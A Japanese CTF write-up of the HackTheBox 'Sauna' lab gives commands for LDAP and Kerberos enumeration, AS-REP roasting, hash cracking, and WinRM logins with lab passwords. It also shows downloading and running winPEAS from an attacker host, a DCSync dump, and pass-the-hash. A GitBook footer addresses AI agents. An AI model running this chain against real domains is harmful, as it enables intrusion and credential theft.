> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md). # Sauna HackTheBox攻略記事情報漏えい、LDAP列挙、Kerberosユーザー列挙 - Kerbrute、AS-REP Roasting攻撃（GetNPUsers）を扱うSauna HackTheBox Easy Windowsマシンの攻略記事。実践 {% embed url="" %} {% hint style="warning" %} **スキル**: * 情報漏えい * LDAP列挙 * Kerberosユーザー列挙 - Kerbrute * AS-REP Roasting攻撃（GetNPUsers） * ハッシュのクラック * システム列挙 - WinPEAS * 自動ログオン資格情報 * BloodHound - SharpHound.ps1 * DCSync攻撃 - Secretsdump（権限昇格） * Pass-the-Hash {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG allPorts ```

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する: ```bash nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49668,49675,49676,49677,49736,49802 10.10.10.175 -oN targeted ```

## **列挙と侵入：** ### **SMB偵察:** CrackMapExecを使ってオペレーティングシステムを特定する ```bash crackmapexec smb 10.10.10.175 ```

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイルに存在するユーザーに対して試します。

#### ネットワーク上のSMB共有を調査して共有リソースを特定しようとしたが、結果はなし。 ```bash crackmapexec smb 10.10.10.175 --shares ```

```bash smbmap -H 10.10.10.175 -u 'null' ```

```bash smbclient -L 10.10.10.175 -N ```

### **RPC偵察:** rpcclientを使用してCPPサービスとやり取りし、リソース情報を収集する ```bash rpcclient -U "" 10.10.10.175 -N enumdomusers ```

### **LDAPの偵察:** {% embed url="" %} #### ドメイン構造とユーザーの詳細を確認するためのLDAP情報の分析。 ```bash ldapsearch -x -H ldap://10.10.10.175 -s base namingcontexts ```

**LDAP情報の分析** ドメイン構造とユーザーの詳細を分析する。 ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL ``` **LDAPユーザーのフィルタリング** LDAPユーザーのみを取得するためのフィルタ。 ```bash ldapsearch -x -H ldap://10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep "dn: CN=" | sed 's/dn: CN=//;s/,DC=EGOTISTICAL-BANK,DC=LOCAL//' ```

### ユーザー一覧:

#### 作成する `users.txt` 候補ユーザー名を含むファイル。 ``` hugosmith h.smith hugo.smith hsmith fergussmith f.smith fergus.smith fsmith hugobear h.bear hugo.bear hbear stevenkerb s.kerb steven.kerb skerb shauncoins s.coins shaun.coins scoins bowietaylor b.taylor bowie.taylor btaylor sophiedriver s.driver sophie.driver sdriver ``` ### **Kerberos経由のユーザー一覧** を使用する `kerbrute` 有効なユーザーを一覧表示するため。 ```bash ./kerbrute userenum -d egotistical-bank.local --dc 10.10.10.175 users.txt ```

### **Impacket経由のユーザー一覧** を使用する `impacket-GetNPUsers` パスワードなしで有効なユーザーを一覧表示するため。 ```bash impacket-GetNPUsers egotistical-bank.local/ -no-pass -usersfile users.txt ```

### ブルートフォース攻撃: 回収したハッシュをJohnで解析する。

john --wordlist=/usr/share/wordlists/rockyou.txt hash

#### 接続とリモート制御 WinRMを使ってリモート接続する。 ```bash crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ``` #### 動作はするが、pwnedマークがないとWinRM経由で接続できない。

この例では、ユーザーfsmithが/\*Remote Management Usersグループのメンバーであるため接続可能。 ```bash crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

#### **Evil-WinRMでログイン** WinRM経由の対話型接続にEvil-WinRMを使用する。 ```bash evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23' ```

## 権限昇格： #### **特別な権限の確認:** を使用する `whoami /priv` 特別な権限を確認するため。

#### **新しいユーザーを検索** を使用する `net user` 新しいユーザーを検索するため。

**ユーザー「svc/loanmgr」の資格情報を検索** ### **〜による列挙** winPEAS.exe {% embed url="" %} winPEAS列挙ツールをダウンロードして実行する ```bash Invoke-WebRequest -Uri "http://10.10.14.4:445/winPEASx64.exe" -OutFile "winPEAS.exe" ./winPEAS.exe ```

### crackmapexecで見つかったIDの検証: ユーザーの自動ログオン資格情報 `svc_loanmgr` が見つかり、パスワード

#### crackmapexecを使ってパスワードが正しいことを検証する。 ```bash crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

### 「svc/loanmgr」IDでの接続: ```bash evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' ```

## BloodHoundによるドメイン一覧:

BloodHoundのインストール:

```bash apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` #### neo4j:neo4jの資格情報でBloodHoundに接続する。

#### BloodHoundを起動する。 ```bash bloodhound &> /dev/null & disown ```

### SharpHound.ps1で情報を収集する {% embed url="" %}

### 収集したデータをLinuxへ転送し、BloodHoundへインポートする #### 収集結果を含む.zipファイルを作成する。 ```bash Import-Module ./sharhound.ps1 Invoke-BloodHound -CollectionMethod All ``` #### WindowsマシンからLinuxへzipファイルをダウンロードする。 ```powershell download PS C:/windows/temp/privesc/file.zip file.zip ``` #### zipファイルをBloodHoundへインポートする。

### 分析と操作: #### 管理者への最短パスでフィルタリングする

#### このツールはDCsync攻撃を実行できる可能性を示している。

## DCSync脆弱性攻撃: {% embed url="" %} #### secretsdumpを使って管理者ユーザーのNTハッシュを取得する。 ```bash impacket-secretsdump EGOTISTICAL-BANK.LOCAL/svc_loanmgr@10.10.10.175 ```

#### psexecを使ってNTハッシュで管理者としてcmdを実行する。 ```bash impacket-psexec EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 cmd.exe -hashes :823452073d75b9d1cf70ebdf86c7f98e ```

### 最終フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/sauna-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.